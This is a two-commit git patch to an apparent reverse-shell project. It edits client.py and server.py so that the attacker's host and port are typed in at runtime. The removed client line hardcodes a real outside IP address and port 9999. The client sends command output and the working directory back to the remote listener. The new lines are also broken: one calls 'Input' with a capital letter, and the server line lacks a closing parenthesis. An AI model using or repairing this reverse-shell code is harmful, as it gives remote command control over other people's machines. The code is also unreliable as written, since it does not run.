From 9eaad00bee4240a0d8ddc9a3c3bd9dc1f44fb894 Mon Sep 17 00:00:00 2001 From: Aadarsh Chaurasia <72143159+AadarshChaurasia@users.noreply.github.com> Date: Wed, 30 Sep 2020 22:21:05 +0530 Subject: [PATCH 1/2] Update client.py --- Single_Client ( ReverseShell v1)/client.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Single_Client ( ReverseShell v1)/client.py b/Single_Client ( ReverseShell v1)/client.py index 0be5c22..1104c68 100644 --- a/Single_Client ( ReverseShell v1)/client.py +++ b/Single_Client ( ReverseShell v1)/client.py @@ -3,8 +3,8 @@ import subprocess s = socket.socket() -host = '138.68.68.65' -port = 9999 +host = input("Enter the IP : ") +port = int(Input("Enter the port: ")) s.connect((host, port)) @@ -20,4 +20,4 @@ currentWD = os.getcwd() + "> " s.send(str.encode(output_str + currentWD)) - print(output_str) \ No newline at end of file + print(output_str) From 9724f034f6341a9259815ef9cb43d7d01a42db89 Mon Sep 17 00:00:00 2001 From: Aadarsh Chaurasia <72143159+AadarshChaurasia@users.noreply.github.com> Date: Thu, 1 Oct 2020 00:14:30 +0530 Subject: [PATCH 2/2] Update server.py --- Single_Client ( ReverseShell v1)/server.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Single_Client ( ReverseShell v1)/server.py b/Single_Client ( ReverseShell v1)/server.py index 51dadc8..d7b3ce8 100644 --- a/Single_Client ( ReverseShell v1)/server.py +++ b/Single_Client ( ReverseShell v1)/server.py @@ -8,8 +8,8 @@ def create_socket(): global host global port global s - host = "" - port = 9999 + host = input("Enter the IP: ") + port = int(input("Enter the Port: ") s = socket.socket() except socket.error as msg: